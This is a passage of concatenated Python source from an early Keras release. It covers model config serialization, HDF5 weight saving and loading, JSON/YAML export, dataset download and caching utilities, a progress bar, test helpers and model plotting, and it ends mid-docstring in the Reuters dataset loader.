                        filtered_inbound_nodes.append(node_data)
            layer_configs.append({
                'name': layer.name,
                'class_name': layer_class_name,
                'config': layer_config,
                'inbound_nodes': filtered_inbound_nodes,
            })
        config['layers'] = layer_configs

        # gather info about inputs and outputs
        model_inputs = []
        for i in range(len(self.input_layers)):
            layer = self.input_layers[i]
            node_index = self.input_layers_node_indices[i]
            node_key = layer.name + '_ib-' + str(node_index)
            new_node_index = node_conversion_map[node_key]
            tensor_index = self.input_layers_tensor_indices[i]
            model_inputs.append([layer.name, new_node_index, tensor_index])
        config['input_layers'] = model_inputs
        model_outputs = []
        for i in range(len(self.output_layers)):
            layer = self.output_layers[i]
            node_index = self.output_layers_node_indices[i]
            node_key = layer.name + '_ib-' + str(node_index)
            new_node_index = node_conversion_map[node_key]
            tensor_index = self.output_layers_tensor_indices[i]
            model_outputs.append([layer.name, new_node_index, tensor_index])
        config['output_layers'] = model_outputs
        return copy.deepcopy(config)

    @classmethod
    def from_config(cls, config, custom_objects={}):
        '''Instantiates a Model from its config (output of `get_config()`).

        TODO: support for custom objects
        '''
        from keras.utils.layer_utils import layer_from_config

        # layer instances created during
        # the graph reconstruction process
        created_layers = {}

        def process_layer(layer_data):
            # iterate over saved layers, instantiate them,
            # then call them on appropriate inputs to create graph nodes
            layer_name = layer_data['name']

            # instantiate layer
            layer = layer_from_config(layer_data,
                                      custom_objects=custom_objects)
            created_layers[layer_name] = layer

            # gather layer inputs
            inbound_nodes_data = layer_data['inbound_nodes']
            for node_data in inbound_nodes_data:
                input_tensors = []
                for input_data in node_data:
                    inbound_layer_name, inbound_node_index, inbound_tensor_index = input_data
                    assert inbound_layer_name in created_layers, 'Missing layer: %s' % inbound_layer_name
                    inbound_layer = created_layers[inbound_layer_name]
                    inbound_node = inbound_layer.inbound_nodes[inbound_node_index]
                    input_tensors.append(inbound_node.output_tensors[inbound_tensor_index])
                # call layer on its inputs, thus creating the node
                # and building the layer if needed
                if input_tensors:
                    if len(input_tensors) == 1:
                        layer(input_tensors[0])
                    else:
                        layer(input_tensors)

        for layer_data in config['layers']:
            process_layer(layer_data)

        name = config.get('name')
        input_tensors = []
        output_tensors = []
        for layer_data in config['input_layers']:
            layer_name, node_index, tensor_index = layer_data
            assert layer_name in created_layers
            layer = created_layers[layer_name]
            layer_output_tensors = layer.inbound_nodes[node_index].output_tensors
            input_tensors.append(layer_output_tensors[tensor_index])
        for layer_data in config['output_layers']:
            layer_name, node_index, tensor_index = layer_data
            assert layer_name in created_layers
            layer = created_layers[layer_name]
            layer_output_tensors = layer.inbound_nodes[node_index].output_tensors
            output_tensors.append(layer_output_tensors[tensor_index])
        return cls(input=input_tensors, output=output_tensors, name=name)

    def save(self, filepath, overwrite=True):
        '''Save into a single HDF5 file:
            - the model architecture, allowing to re-instantiate the model
            - the model weights
            - the state of the optimizer, allowing to resume training
                exactly where you left off.

        This allows you to save the entirety of the state of a model
        in a single file.

        Saved models can be reinstantiated via `keras.models.load_model`.
        The model returned by `load_model`
        is a compiled model ready to be used (unless the saved model
        was never compiled in the first place).

        # Example usage

        ```python
        from keras.models import load_model

        model.save('my_model.h5')  # creates a HDF5 file 'my_model.h5'
        del model  # deletes the existing model

        # returns a compiled model
        # identical to the previous one
        model = load_model('my_model.h5')
        ```
        '''
        from ..models import save_model
        save_model(self, filepath, overwrite)

    def save_weights(self, filepath, overwrite=True):
        '''Dumps all layer weights to a HDF5 file.

        The weight file has:
            - `layer_names` (attribute), a list of strings
                (ordered names of model layers)
            - for every layer, a `group` named `layer.name`
                - for every such layer group, a group attribute `weight_names`,
                    a list of strings (ordered names of weights tensor of the layer)
                - for every weight in the layer, a dataset
                    storing the weight value, named after the weight tensor
        '''
        import h5py
        # if file exists and should not be overwritten
        if not overwrite and os.path.isfile(filepath):
            proceed = ask_to_proceed_with_overwrite(filepath)
            if not proceed:
                return
        f = h5py.File(filepath, 'w')
        self.save_weights_to_hdf5_group(f)
        f.flush()
        f.close()

    def save_weights_to_hdf5_group(self, f):
        if hasattr(self, 'flattened_layers'):
            # support for legacy Sequential/Merge behavior
            flattened_layers = self.flattened_layers
        else:
            flattened_layers = self.layers

        f.attrs['layer_names'] = [layer.name.encode('utf8') for layer in flattened_layers]

        for layer in flattened_layers:
            g = f.create_group(layer.name)
            symbolic_weights = layer.weights
            weight_values = K.batch_get_value(symbolic_weights)
            weight_names = []
            for i, (w, val) in enumerate(zip(symbolic_weights, weight_values)):
                if hasattr(w, 'name') and w.name:
                    name = str(w.name)
                else:
                    name = 'param_' + str(i)
                weight_names.append(name.encode('utf8'))
            g.attrs['weight_names'] = weight_names
            for name, val in zip(weight_names, weight_values):
                param_dset = g.create_dataset(name, val.shape,
                                              dtype=val.dtype)
                if not val.shape:
                    # scalar
                    param_dset[()] = val
                else:
                    param_dset[:] = val

    def load_weights(self, filepath):
        '''Load all layer weights from a HDF5 save file.
        '''
        import h5py
        f = h5py.File(filepath, mode='r')
        if 'layer_names' not in f.attrs and 'model_weights' in f:
            f = f['model_weights']
        self.load_weights_from_hdf5_group(f)
        if hasattr(f, 'close'):
            f.close()

    def load_weights_from_hdf5_group(self, f):
        '''Weight loading is based on layer order in a list
        (matching model.flattened_layers for Sequential models,
        and model.layers for Model class instances), not
        on layer names.
        Layers that have no weights are skipped.
        '''
        if hasattr(self, 'flattened_layers'):
            # support for legacy Sequential/Merge behavior
            flattened_layers = self.flattened_layers
        else:
            flattened_layers = self.layers

        if 'nb_layers' in f.attrs:
            # legacy format
            nb_layers = f.attrs['nb_layers']
            if nb_layers != len(flattened_layers):
                raise Exception('You are trying to load a weight file '
                                'containing ' + str(nb_layers) +
                                ' layers into a model with ' +
                                str(len(flattened_layers)) + ' layers.')

            for k in range(nb_layers):
                g = f['layer_{}'.format(k)]
                weights = [g['param_{}'.format(p)] for p in range(g.attrs['nb_params'])]
                flattened_layers[k].set_weights(weights)
        else:
            # new file format
            filtered_layers = []
            for layer in flattened_layers:
                weights = layer.weights
                if weights:
                    filtered_layers.append(layer)
            flattened_layers = filtered_layers

            layer_names = [n.decode('utf8') for n in f.attrs['layer_names']]
            filtered_layer_names = []
            for name in layer_names:
                g = f[name]
                weight_names = [n.decode('utf8') for n in g.attrs['weight_names']]
                if len(weight_names):
                    filtered_layer_names.append(name)
            layer_names = filtered_layer_names
            if len(layer_names) != len(flattened_layers):
                raise Exception('You are trying to load a weight file '
                                'containing ' + str(len(layer_names)) +
                                ' layers into a model with ' +
                                str(len(flattened_layers)) + ' layers.')

            # we batch weight value assignments in a single backend call
            # which provides a speedup in TensorFlow.
            weight_value_tuples = []
            for k, name in enumerate(layer_names):
                g = f[name]
                weight_names = [n.decode('utf8') for n in g.attrs['weight_names']]
                weight_values = [g[weight_name] for weight_name in weight_names]
                layer = flattened_layers[k]
                symbolic_weights = layer.weights
                if len(weight_values) != len(symbolic_weights):
                    raise Exception('Layer #' + str(k) +
                                    ' (named "' + layer.name +
                                    '" in the current model) was found to '
                                    'correspond to layer ' + name +
                                    ' in the save file. '
                                    'However the new layer ' + layer.name +
                                    ' expects ' + str(len(symbolic_weights)) +
                                    ' weights, but the saved weights have ' +
                                    str(len(weight_values)) +
                                    ' elements.')
                weight_value_tuples += zip(symbolic_weights, weight_values)
            K.batch_set_value(weight_value_tuples)

    def _updated_config(self):
        '''shared between different serialization methods'''
        from keras import __version__ as keras_version

        config = self.get_config()
        model_config = {
            'class_name': self.__class__.__name__,
            'config': config,
            'keras_version': keras_version
        }
        return model_config

    def to_json(self, **kwargs):
        '''Returns a JSON string containing the network configuration.

        To load a network from a JSON save file, use
        `keras.models.model_from_json(json_string, custom_objects={})`.
        '''
        import json

        def get_json_type(obj):
            # if obj is any numpy type
            if type(obj).__module__ == np.__name__:
                return obj.item()

            # if obj is a python 'type'
            if type(obj).__name__ == type.__name__:
                return obj.__name__

            raise TypeError('Not JSON Serializable:', obj)

        model_config = self._updated_config()
        return json.dumps(model_config, default=get_json_type, **kwargs)

    def to_yaml(self, **kwargs):
        '''Returns a yaml string containing the network configuration.

        To load a network from a yaml save file, use
        `keras.models.model_from_yaml(yaml_string, custom_objects={})`.

        `custom_objects` should be a dictionary mapping
        the names of custom losses / layers / etc to the corresponding
        functions / classes.
        '''
        import yaml
        return yaml.dump(self._updated_config(), **kwargs)

    def summary(self, line_length=100, positions=[.33, .55, .67, 1.]):
        from keras.utils.layer_utils import print_summary

        if hasattr(self, 'flattened_layers'):
            # support for legacy Sequential/Merge behavior
            flattened_layers = self.flattened_layers
        else:
            flattened_layers = self.layers

        print_summary(flattened_layers, getattr(self, 'container_nodes', None), line_length=line_length, positions=positions)


def get_source_inputs(tensor, layer=None, node_index=None):
    '''Returns the list of input tensors
    necessary to compute `tensor`.

    Output will always be a list of tensors
    (potentially with 1 element).

    # Arguments
        tensor: the tensor to start from.
        layer: origin layer of the tensor. Will be
            determined via tensor._keras_history if not provided.
        node_index: origin node index of the tensor.
    '''
    if not hasattr(tensor, '_keras_history'):
        raise Exception('Tensor must be a Keras tensor. Found: ' + str(tensor))

    if layer is None or node_index:
        layer, node_index, _ = tensor._keras_history
    if not layer.inbound_nodes:
        return [tensor]
    else:
        node = layer.inbound_nodes[node_index]
        if not node.inbound_layers:
            # reached an Input layer, stop recursion
            return node.input_tensors
        else:
            source_tensors = []
            for i in range(len(node.inbound_layers)):
                x = node.input_tensors[i]
                layer = node.inbound_layers[i]
                node_index = node.node_indices[i]
                previous_sources = get_source_inputs(x,
                                                     layer,
                                                     node_index)
                # avoid input redundancy
                for x in previous_sources:
                    if x not in source_tensors:
                        source_tensors.append(x)
            return source_tensors






# note: topology.Node is an internal class,
# it isn't meant to be used by Keras users.
from .topology import InputSpec
from .topology import Input
from .topology import InputLayer
from .topology import Layer
from .topology import Merge
from .topology import merge
from .topology import get_source_inputs
from .training import Model






from __future__ import absolute_import
import numpy as np
import scipy as sp
from six.moves import range
from six.moves import zip


def to_categorical(y, nb_classes=None):
    '''Convert class vector (integers from 0 to nb_classes)
    to binary class matrix, for use with categorical_crossentropy.
    '''
    if not nb_classes:
        nb_classes = np.max(y)+1
    Y = np.zeros((len(y), nb_classes))
    for i in range(len(y)):
        Y[i, y[i]] = 1.
    return Y


def normalize(a, axis=-1, order=2):
    l2 = np.atleast_1d(np.linalg.norm(a, order, axis))
    l2[l2 == 0] = 1
    return a / np.expand_dims(l2, axis)


def binary_logloss(p, y):
    epsilon = 1e-15
    p = sp.maximum(epsilon, p)
    p = sp.minimum(1-epsilon, p)
    res = sum(y * sp.log(p) + sp.subtract(1, y) * sp.log(sp.subtract(1, p)))
    res *= -1.0/len(y)
    return res


def multiclass_logloss(P, Y):
    npreds = [P[i][Y[i]-1] for i in range(len(Y))]
    score = -(1. / len(Y)) * np.sum(np.log(npreds))
    return score


def accuracy(p, y):
    return np.mean([a == b for a, b in zip(p, y)])


def probas_to_classes(y_pred):
    if len(y_pred.shape) > 1 and y_pred.shape[1] > 1:
        return categorical_probas_to_classes(y_pred)
    return np.array([1 if p > 0.5 else 0 for p in y_pred])


def categorical_probas_to_classes(p):
    return np.argmax(p, axis=1)


def convert_kernel(kernel, dim_ordering='th'):
    '''Converts a kernel matrix (Numpy array)
    from Theano format to TensorFlow format
    (or reciprocally, since the transformation
    is its own inverse).
    '''
    new_kernel = np.copy(kernel)
    if kernel.ndim == 4:
        # conv 2d
        # TH kernel shape: (depth, input_depth, rows, cols)
        # TF kernel shape: (rows, cols, input_depth, depth)
        if dim_ordering == 'th':
            w = kernel.shape[2]
            h = kernel.shape[3]
            for i in range(w):
                for j in range(h):
                    new_kernel[:, :, i, j] = kernel[:, :, w - i - 1, h - j - 1]
        elif dim_ordering == 'tf':
            w = kernel.shape[0]
            h = kernel.shape[1]
            for i in range(w):
                for j in range(h):
                    new_kernel[i, j, :, :] = kernel[w - i - 1, h - j - 1, :, :]
        else:
            raise Exception('Invalid dim_ordering: ' + str(dim_ordering))
    elif kernel.ndim == 5:
        # conv 3d
        # TH kernel shape: (out_depth, input_depth, kernel_dim1, kernel_dim2, kernel_dim3)
        # TF kernel shape: (kernel_dim1, kernel_dim2, kernel_dim3, input_depth, out_depth)
        if dim_ordering == 'th':
            w = kernel.shape[2]
            h = kernel.shape[3]
            z = kernel.shape[4]
            for i in range(w):
                for j in range(h):
                    for k in range(z):
                        new_kernel[:, :, i, j, k] = kernel[:, :,
                                                           w - i - 1,
                                                           h - j - 1,
                                                           z - k - 1]
        elif dim_ordering == 'tf':
            w = kernel.shape[0]
            h = kernel.shape[1]
            z = kernel.shape[2]
            for i in range(w):
                for j in range(h):
                    for k in range(z):
                        new_kernel[i, j, k, :, :] = kernel[w - i - 1,
                                                           h - j - 1,
                                                           z - k - 1,
                                                           :, :]
        else:
            raise Exception('Invalid dim_ordering: ' + str(dim_ordering))
    else:
        raise ValueError('Invalid kernel shape:', kernel.shape)
    return new_kernel


def conv_output_length(input_length, filter_size, border_mode, stride, dilation=1):
    if input_length is None:
        return None
    assert border_mode in {'same', 'valid'}
    dilated_filter_size = filter_size + (filter_size - 1) * (dilation - 1)
    if border_mode == 'same':
        output_length = input_length
    elif border_mode == 'valid':
        output_length = input_length - dilated_filter_size + 1
    return (output_length + stride - 1) // stride


def conv_input_length(output_length, filter_size, border_mode, stride):
    if output_length is None:
        return None
    assert border_mode in {'same', 'valid'}
    if border_mode == 'same':
        pad = filter_size // 2
    elif border_mode == 'valid':
        pad = 0
    return (output_length - 1) * stride - 2 * pad + filter_size






from __future__ import absolute_import
import numpy as np
import time
import sys
import six


def get_from_module(identifier, module_params, module_name,
                    instantiate=False, kwargs=None):
    if isinstance(identifier, six.string_types):
        res = module_params.get(identifier)
        if not res:
            raise Exception('Invalid ' + str(module_name) + ': ' +
                            str(identifier))
        if instantiate and not kwargs:
            return res()
        elif instantiate and kwargs:
            return res(**kwargs)
        else:
            return res
    elif type(identifier) is dict:
        name = identifier.pop('name')
        res = module_params.get(name)
        if res:
            return res(**identifier)
        else:
            raise Exception('Invalid ' + str(module_name) + ': ' +
                            str(identifier))
    return identifier


def make_tuple(*args):
    return args


class Progbar(object):
    def __init__(self, target, width=30, verbose=1, interval=0.01):
        '''
            @param target: total number of steps expected
            @param interval: minimum visual progress update interval (in seconds)
        '''
        self.width = width
        self.target = target
        self.sum_values = {}
        self.unique_values = []
        self.start = time.time()
        self.last_update = 0
        self.interval = interval
        self.total_width = 0
        self.seen_so_far = 0
        self.verbose = verbose

    def update(self, current, values=[], force=False):
        '''
            @param current: index of current step
            @param values: list of tuples (name, value_for_last_step).
            The progress bar will display averages for these values.
            @param force: force visual progress update
        '''
        for k, v in values:
            if k not in self.sum_values:
                self.sum_values[k] = [v * (current - self.seen_so_far), current - self.seen_so_far]
                self.unique_values.append(k)
            else:
                self.sum_values[k][0] += v * (current - self.seen_so_far)
                self.sum_values[k][1] += (current - self.seen_so_far)
        self.seen_so_far = current

        now = time.time()
        if self.verbose == 1:
            if not force and (now - self.last_update) < self.interval:
                return

            prev_total_width = self.total_width
            sys.stdout.write("\b" * prev_total_width)
            sys.stdout.write("\r")

            numdigits = int(np.floor(np.log10(self.target))) + 1
            barstr = '%%%dd/%%%dd [' % (numdigits, numdigits)
            bar = barstr % (current, self.target)
            prog = float(current) / self.target
            prog_width = int(self.width * prog)
            if prog_width > 0:
                bar += ('=' * (prog_width-1))
                if current < self.target:
                    bar += '>'
                else:
                    bar += '='
            bar += ('.' * (self.width - prog_width))
            bar += ']'
            sys.stdout.write(bar)
            self.total_width = len(bar)

            if current:
                time_per_unit = (now - self.start) / current
            else:
                time_per_unit = 0
            eta = time_per_unit * (self.target - current)
            info = ''
            if current < self.target:
                info += ' - ETA: %ds' % eta
            else:
                info += ' - %ds' % (now - self.start)
            for k in self.unique_values:
                info += ' - %s:' % k
                if type(self.sum_values[k]) is list:
                    avg = self.sum_values[k][0] / max(1, self.sum_values[k][1])
                    if abs(avg) > 1e-3:
                        info += ' %.4f' % avg
                    else:
                        info += ' %.4e' % avg
                else:
                    info += ' %s' % self.sum_values[k]

            self.total_width += len(info)
            if prev_total_width > self.total_width:
                info += ((prev_total_width - self.total_width) * " ")

            sys.stdout.write(info)
            sys.stdout.flush()

            if current >= self.target:
                sys.stdout.write("\n")

        if self.verbose == 2:
            if current >= self.target:
                info = '%ds' % (now - self.start)
                for k in self.unique_values:
                    info += ' - %s:' % k
                    avg = self.sum_values[k][0] / max(1, self.sum_values[k][1])
                    if avg > 1e-3:
                        info += ' %.4f' % avg
                    else:
                        info += ' %.4e' % avg
                sys.stdout.write(info + "\n")

        self.last_update = now

    def add(self, n, values=[]):
        self.update(self.seen_so_far + n, values)


def display_table(rows, positions):

    def display_row(objects, positions):
        line = ''
        for i in range(len(objects)):
            line += str(objects[i])
            line = line[:positions[i]]
            line += ' ' * (positions[i] - len(line))
        print(line)

    for objects in rows:
        display_row(objects, positions)






from __future__ import absolute_import
from __future__ import print_function

import tarfile
import os
import sys
import shutil
import hashlib
from six.moves.urllib.request import urlopen
from six.moves.urllib.error import URLError, HTTPError

from ..utils.generic_utils import Progbar


# Under Python 2, 'urlretrieve' relies on FancyURLopener from legacy
# urllib module, known to have issues with proxy management
if sys.version_info[0] == 2:
    def urlretrieve(url, filename, reporthook=None, data=None):
        def chunk_read(response, chunk_size=8192, reporthook=None):
            total_size = response.info().get('Content-Length').strip()
            total_size = int(total_size)
            count = 0
            while 1:
                chunk = response.read(chunk_size)
                if not chunk:
                    break
                count += 1
                if reporthook:
                    reporthook(count, chunk_size, total_size)
                yield chunk

        response = urlopen(url, data)
        with open(filename, 'wb') as fd:
            for chunk in chunk_read(response, reporthook=reporthook):
                fd.write(chunk)
else:
    from six.moves.urllib.request import urlretrieve


def get_file(fname, origin, untar=False,
             md5_hash=None, cache_subdir='datasets'):
    datadir_base = os.path.expanduser(os.path.join('~', '.keras'))
    if not os.access(datadir_base, os.W_OK):
        datadir_base = os.path.join('/tmp', '.keras')
    datadir = os.path.join(datadir_base, cache_subdir)
    if not os.path.exists(datadir):
        os.makedirs(datadir)

    if untar:
        untar_fpath = os.path.join(datadir, fname)
        fpath = untar_fpath + '.tar.gz'
    else:
        fpath = os.path.join(datadir, fname)

    download = False
    if os.path.exists(fpath):
        # file found; verify integrity if a hash was provided
        if md5_hash is not None:
            if not validate_file(fpath, md5_hash):
                print('A local file was found, but it seems to be '
                      'incomplete or outdated.')
                download = True
    else:
        download = True

    if download:
        print('Downloading data from',  origin)
        global progbar
        progbar = None

        def dl_progress(count, block_size, total_size):
            global progbar
            if progbar is None:
                progbar = Progbar(total_size)
            else:
                progbar.update(count*block_size)

        error_msg = 'URL fetch failure on {}: {} -- {}'
        try:
            try:
                urlretrieve(origin, fpath, dl_progress)
            except URLError as e:
                raise Exception(error_msg.format(origin, e.errno, e.reason))
            except HTTPError as e:
                raise Exception(error_msg.format(origin, e.code, e.msg))
        except (Exception, KeyboardInterrupt) as e:
            if os.path.exists(fpath):
                os.remove(fpath)
            raise
        progbar = None

    if untar:
        if not os.path.exists(untar_fpath):
            print('Untaring file...')
            tfile = tarfile.open(fpath, 'r:gz')
            try:
                tfile.extractall(path=datadir)
            except (Exception, KeyboardInterrupt) as e:
                if os.path.exists(untar_fpath):
                    if os.path.isfile(untar_fpath):
                        os.remove(untar_fpath)
                    else:
                        shutil.rmtree(untar_fpath)
                raise
            tfile.close()
        return untar_fpath

    return fpath


def validate_file(fpath, md5_hash):
    hasher = hashlib.md5()
    with open(fpath, 'rb') as f:
        buf = f.read()
        hasher.update(buf)
    if str(hasher.hexdigest()) == str(md5_hash):
        return True
    else:
        return False






from __future__ import absolute_import
from __future__ import print_function
import numpy as np
import sys
from collections import defaultdict


class HDF5Matrix():
    refs = defaultdict(int)

    def __init__(self, datapath, dataset, start, end, normalizer=None):
        import h5py

        if datapath not in list(self.refs.keys()):
            f = h5py.File(datapath)
            self.refs[datapath] = f
        else:
            f = self.refs[datapath]
        self.start = start
        self.end = end
        self.data = f[dataset]
        self.normalizer = normalizer

    def __len__(self):
        return self.end - self.start

    def __getitem__(self, key):
        if isinstance(key, slice):
            if key.stop + self.start <= self.end:
                idx = slice(key.start+self.start, key.stop + self.start)
            else:
                raise IndexError
        elif isinstance(key, int):
            if key + self.start < self.end:
                idx = key + self.start
            else:
                raise IndexError
        elif isinstance(key, np.ndarray):
            if np.max(key) + self.start < self.end:
                idx = (self.start + key).tolist()
            else:
                raise IndexError
        elif isinstance(key, list):
            if max(key) + self.start < self.end:
                idx = [x + self.start for x in key]
            else:
                raise IndexError
        if self.normalizer is not None:
            return self.normalizer(self.data[idx])
        else:
            return self.data[idx]

    @property
    def shape(self):
        return tuple([self.end - self.start, self.data.shape[1]])


def save_array(array, name):
    import tables
    f = tables.open_file(name, 'w')
    atom = tables.Atom.from_dtype(array.dtype)
    ds = f.createCArray(f.root, 'data', atom, array.shape)
    ds[:] = array
    f.close()


def load_array(name):
    import tables
    f = tables.open_file(name)
    array = f.root.data
    a = np.empty(shape=array.shape, dtype=array.dtype)
    a[:] = array[:]
    f.close()
    return a


def ask_to_proceed_with_overwrite(filepath):
    get_input = input
    if sys.version_info[:2] <= (2, 7):
        get_input = raw_input
    overwrite = get_input('[WARNING] %s already exists - overwrite? '
                          '[y/n]' % (filepath))
    while overwrite not in ['y', 'n']:
        overwrite = get_input('Enter "y" (overwrite) or "n" (cancel).')
    if overwrite == 'n':
        return False
    print('[TIP] Next time specify overwrite=True!')
    return True






import numpy as np
from numpy.testing import assert_allclose
import inspect
import functools

from ..engine import Model, Input
from ..models import Sequential, model_from_json
from .. import backend as K


def get_test_data(nb_train=1000, nb_test=500, input_shape=(10,),
                  output_shape=(2,),
                  classification=True, nb_class=2):
    '''
        classification=True overrides output_shape
        (i.e. output_shape is set to (1,)) and the output
        consists in integers in [0, nb_class-1].

        Otherwise: float output with shape output_shape.
    '''
    nb_sample = nb_train + nb_test
    if classification:
        y = np.random.randint(0, nb_class, size=(nb_sample,))
        X = np.zeros((nb_sample,) + input_shape)
        for i in range(nb_sample):
            X[i] = np.random.normal(loc=y[i], scale=0.7, size=input_shape)
    else:
        y_loc = np.random.random((nb_sample,))
        X = np.zeros((nb_sample,) + input_shape)
        y = np.zeros((nb_sample,) + output_shape)
        for i in range(nb_sample):
            X[i] = np.random.normal(loc=y_loc[i], scale=0.7, size=input_shape)
            y[i] = np.random.normal(loc=y_loc[i], scale=0.7, size=output_shape)

    return (X[:nb_train], y[:nb_train]), (X[nb_train:], y[nb_train:])


def layer_test(layer_cls, kwargs={}, input_shape=None, input_dtype=None,
               input_data=None, expected_output=None,
               expected_output_dtype=None, fixed_batch_size=False):
    '''Test routine for a layer with a single input tensor
    and single output tensor.
    '''
    if input_data is None:
        assert input_shape
        if not input_dtype:
            input_dtype = K.floatx()
        input_data = (10 * np.random.random(input_shape)).astype(input_dtype)
    elif input_shape is None:
        input_shape = input_data.shape

    if expected_output_dtype is None:
        expected_output_dtype = input_dtype

    # instantiation
    layer = layer_cls(**kwargs)

    # test get_weights , set_weights
    weights = layer.get_weights()
    layer.set_weights(weights)

    # test and instantiation from weights
    if 'weights' in inspect.getargspec(layer_cls.__init__):
        kwargs['weights'] = weights
        layer = layer_cls(**kwargs)

    # test in functional API
    if fixed_batch_size:
        x = Input(batch_shape=input_shape, dtype=input_dtype)
    else:
        x = Input(shape=input_shape[1:], dtype=input_dtype)
    y = layer(x)
    assert K.dtype(y) == expected_output_dtype

    model = Model(input=x, output=y)
    model.compile('rmsprop', 'mse')

    expected_output_shape = layer.get_output_shape_for(input_shape)
    actual_output = model.predict(input_data)
    actual_output_shape = actual_output.shape
    assert expected_output_shape == actual_output_shape
    if expected_output is not None:
        assert_allclose(actual_output, expected_output, rtol=1e-3)

    # test serialization
    model_config = model.get_config()
    model = Model.from_config(model_config)
    model.compile('rmsprop', 'mse')

    # test as first layer in Sequential API
    layer_config = layer.get_config()
    layer_config['batch_input_shape'] = input_shape
    layer = layer.__class__.from_config(layer_config)

    model = Sequential()
    model.add(layer)
    model.compile('rmsprop', 'mse')
    actual_output = model.predict(input_data)
    actual_output_shape = actual_output.shape
    assert expected_output_shape == actual_output_shape
    if expected_output is not None:
        assert_allclose(actual_output, expected_output, rtol=1e-3)

    # test JSON serialization
    json_model = model.to_json()
    model = model_from_json(json_model)

    # for further checks in the caller function
    return actual_output


def keras_test(func):
    '''Clean up after tensorflow tests.
    '''
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        output = func(*args, **kwargs)
        if K._BACKEND == 'tensorflow':
            K.clear_session()
        return output
    return wrapper












try:
    # pydot-ng is a fork of pydot that is better maintained
    import pydot_ng as pydot
except ImportError:
    # fall back on pydot if necessary
    import pydot
if not pydot.find_graphviz():
    raise RuntimeError('Failed to import pydot. You must install pydot'
                       ' and graphviz for `pydotprint` to work.')


def model_to_dot(model, show_shapes=False, show_layer_names=True):
    dot = pydot.Dot()
    dot.set('rankdir', 'TB')
    dot.set('concentrate', True)
    dot.set_node_defaults(shape='record')

    if model.__class__.__name__ == 'Sequential':
        if not model.built:
            model.build()
        model = model.model
    layers = model.layers

    # first, populate the nodes of the graph
    for layer in layers:
        layer_id = str(id(layer))
        if show_layer_names:
            label = str(layer.name) + ' (' + layer.__class__.__name__ + ')'
        else:
            label = layer.__class__.__name__

        if show_shapes:
            # Build the label that will actually contain a table with the
            # input/output
            try:
                outputlabels = str(layer.output_shape)
            except:
                outputlabels = 'multiple'
            if hasattr(layer, 'input_shape'):
                inputlabels = str(layer.input_shape)
            elif hasattr(layer, 'input_shapes'):
                inputlabels = ', '.join(
                    [str(ishape) for ishape in layer.input_shapes])
            else:
                inputlabels = 'multiple'
            label = '%s\n|{input:|output:}|{{%s}|{%s}}' % (label, inputlabels, outputlabels)

        node = pydot.Node(layer_id, label=label)
        dot.add_node(node)

    # second, add the edges
    for layer in layers:
        layer_id = str(id(layer))
        for i, node in enumerate(layer.inbound_nodes):
            node_key = layer.name + '_ib-' + str(i)
            if node_key in model.container_nodes:
                # add edges
                for inbound_layer in node.inbound_layers:
                    inbound_layer_id = str(id(inbound_layer))
                    layer_id = str(id(layer))
                    dot.add_edge(pydot.Edge(inbound_layer_id, layer_id))
    return dot


def plot(model, to_file='model.png', show_shapes=False, show_layer_names=True):
    dot = model_to_dot(model, show_shapes, show_layer_names)
    dot.write_png(to_file)






from __future__ import print_function

from .generic_utils import get_from_module
from .np_utils import convert_kernel
from ..layers import *
from ..models import Model, Sequential, Graph
from .. import backend as K


def layer_from_config(config, custom_objects={}):
    '''
    # Arguments
        config: dict of the form {'class_name': str, 'config': dict}
        custom_objects: dict mapping class names (or function names)
            of custom (non-Keras) objects to class/functions

    # Returns
        Layer instance (may be Model, Sequential, Graph, Layer...)
    '''
    # Insert custom layers into globals so they can
    # be accessed by `get_from_module`.
    for cls_key in custom_objects:
        globals()[cls_key] = custom_objects[cls_key]

    class_name = config['class_name']

    if class_name == 'Sequential':
        layer_class = Sequential
    elif class_name == 'Graph':
        layer_class = Graph
    elif class_name in ['Model', 'Container']:
        layer_class = Model
    else:
        layer_class = get_from_module(class_name, globals(), 'layer',
                                      instantiate=False)
    return layer_class.from_config(config['config'])


def print_summary(layers, relevant_nodes=None, line_length=100, positions=[.33, .55, .67, 1.]):
    # line_length: total length of printed lines
    # positions: relative or absolute positions of log elements in each line
    if positions[-1] <= 1:
        positions = [int(line_length * p) for p in positions]
    # header names for the different log elements
    to_display = ['Layer (type)', 'Output Shape', 'Param #', 'Connected to']

    def print_row(fields, positions):
        line = ''
        for i in range(len(fields)):
            line += str(fields[i])
            line = line[:positions[i]]
            line += ' ' * (positions[i] - len(line))
        print(line)

    print('_' * line_length)
    print_row(to_display, positions)
    print('=' * line_length)

    def print_layer_summary(layer):
        try:
            output_shape = layer.output_shape
        except:
            output_shape = 'multiple'
        connections = []
        for node_index, node in enumerate(layer.inbound_nodes):
            if relevant_nodes:
                node_key = layer.name + '_ib-' + str(node_index)
                if node_key not in relevant_nodes:
                    # node is node part of the current network
                    continue
            for i in range(len(node.inbound_layers)):
                inbound_layer = node.inbound_layers[i].name
                inbound_node_index = node.node_indices[i]
                inbound_tensor_index = node.tensor_indices[i]
                connections.append(inbound_layer + '[' + str(inbound_node_index) + '][' + str(inbound_tensor_index) + ']')

        name = layer.name
        cls_name = layer.__class__.__name__
        if not connections:
            first_connection = ''
        else:
            first_connection = connections[0]
        fields = [name + ' (' + cls_name + ')', output_shape, layer.count_params(), first_connection]
        print_row(fields, positions)
        if len(connections) > 1:
            for i in range(1, len(connections)):
                fields = ['', '', '', connections[i]]
                print_row(fields, positions)

    total_params = 0
    for i in range(len(layers)):
        print_layer_summary(layers[i])
        if i == len(layers) - 1:
            print('=' * line_length)
        else:
            print('_' * line_length)
        total_params += layers[i].count_params()

    print('Total params: %s' % total_params)
    print('_' * line_length)


def convert_all_kernels_in_model(model):
    # Note: SeparableConvolution not included
    # since only supported by TF.
    conv_classes = {
        'Convolution1D',
        'Convolution2D',
        'Convolution3D',
        'AtrousConvolution2D',
        'Deconvolution2D',
    }
    to_assign = []
    for layer in model.layers:
        if layer.__class__.__name__ in conv_classes:
            original_w = K.get_value(layer.W)
            converted_w = convert_kernel(original_w)
            to_assign.append((layer.W, converted_w))
    K.batch_set_value(to_assign)






from ..utils.data_utils import *
import warnings

warnings.warn('data_utils has been moved to keras.utils.data_utils.')






# -*- coding: utf-8 -*-
from __future__ import absolute_import
from ..utils.data_utils import get_file
from six.moves import cPickle
from six.moves import zip
import numpy as np
import sys


def load_data(path='reuters.pkl', nb_words=None, skip_top=0,
              maxlen=None, test_split=0.2, seed=113,
              start_char=1, oov_char=2, index_from=3):
    '''
    # Arguments
        path: where to store the data (in `/.keras/dataset`)
        nb_words: max number of words to include. Words are ranked
